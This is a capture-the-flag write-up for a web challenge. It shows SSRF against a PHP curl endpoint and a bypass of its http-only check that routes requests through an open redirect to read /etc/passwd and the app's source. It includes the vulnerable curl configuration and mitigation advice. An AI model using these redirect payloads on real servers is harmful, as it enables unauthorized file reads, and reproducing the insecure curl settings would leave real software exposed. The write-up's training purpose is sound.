Curl
Curl
Platform: spbctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-15 | Status: Solved Techniques: ssrf_via_redirect, protocol_bypass_via_open_redirect, curl_misconfiguration_exploit, local_file_read
Summary
Web application at https://advweb2.spb.ctf.su/ that accepts a url GET parameter and fetches the given URL using PHP curl. Returns the message "USE {GET: url} to get headers of url" when accessed without parameters.
Curl — SPbCTF
Description
Web application at https://advweb2.spb.ctf.su/ that accepts a url GET parameter and fetches the given URL using PHP curl. Returns the message "USE {GET: url} to get headers of url" when accessed without parameters.
Analysis
Initial Reconnaissance
- Main page hint: "USE {GET: url} to get headers of url"
- Response headers:
Server: nginx/1.18.0 (Ubuntu)(reverse proxy),Content-Type: text/text;charset=UTF-8 - Testing
?url=http://example.com— successfully fetched full body (not just headers as described)
SSRF Discovery
?url=http://127.0.0.1/— worked, returned the app itself. Revealed internalServer: Apache/2.4.18 (Ubuntu)?url=file:///etc/passwd— blocked with "ONLY HTTP(s) REQUESTS!" (protocol validation)?url=gopher://...and?url=dict://...— also blocked- Error messages showed PHP's
string(60)format fromvar_dump(), confirming PHP + curl_exec ?url=http://127.0.0.1/server-status— Apache server-status accessible, revealed internal IP10.111.3.22
Vulnerability Analysis
The application validates URL scheme with preg_match("#^(https?)://#is", ...) but has a critical misconfiguration:
CURLOPT_FOLLOWLOCATION => true— follows redirectsCURLOPT_PROTOCOLS => CURLPROTO_ALL— all protocols allowedCURLOPT_REDIR_PROTOCOLS => CURLPROTO_ALL— all protocols allowed after redirect
This means while the initial URL must be HTTP/HTTPS, curl will follow redirects to ANY protocol including file://.
Solution
Step 1: Protocol Check Bypass via Open Redirect
Used httpbin.org's open redirect endpoint to bypass the protocol check:
https://advweb2.spb.ctf.su/?url=http://httpbin.org/redirect-to?url=file:///etc/passwd
This worked! curl followed the HTTP 302 redirect to file:///etc/passwd and returned the file contents.
Step 2: Source Code Leak & Flag
Read the PHP source code:
https://advweb2.spb.ctf.su/?url=http://httpbin.org/redirect-to?url=file:///var/www/html/index.php
Full PHP Source Code Retrieved:
php read-only • copy allowed<?php ini_set("display_errors", true); error_reporting(E_ALL); $flag = "REDACTED"; header("Content-Type: text/text"); if (!isset($_GET['url'])) { exit("USE {GET: url} to get headers of url"); } if (!preg_match("#^(https?)://#is", $_GET['url'])) exit("ONLY HTTP(s) REQUESTS!"); $ch = curl_init($_GET['url']); curl_setopt_array($ch, [ CURLOPT_HEADER => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_PROTOCOLS => CURLPROTO_ALL, CURLOPT_REDIR_PROTOCOLS => CURLPROTO_ALL ]); $result = curl_exec($ch); if (!$result) { var_dump(curl_error($ch)); exit(); } print(explode(...));
The flag was hardcoded in the source: $flag = "REDACTED";
Mitigation
To fix this vulnerability:
- Set
CURLOPT_REDIR_PROTOCOLSto only allow HTTP/HTTPS:CURLOPT_REDIR_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS - Or disable redirects entirely:
CURLOPT_FOLLOWLOCATION => false - Validate the final URL after all redirects, not just the initial one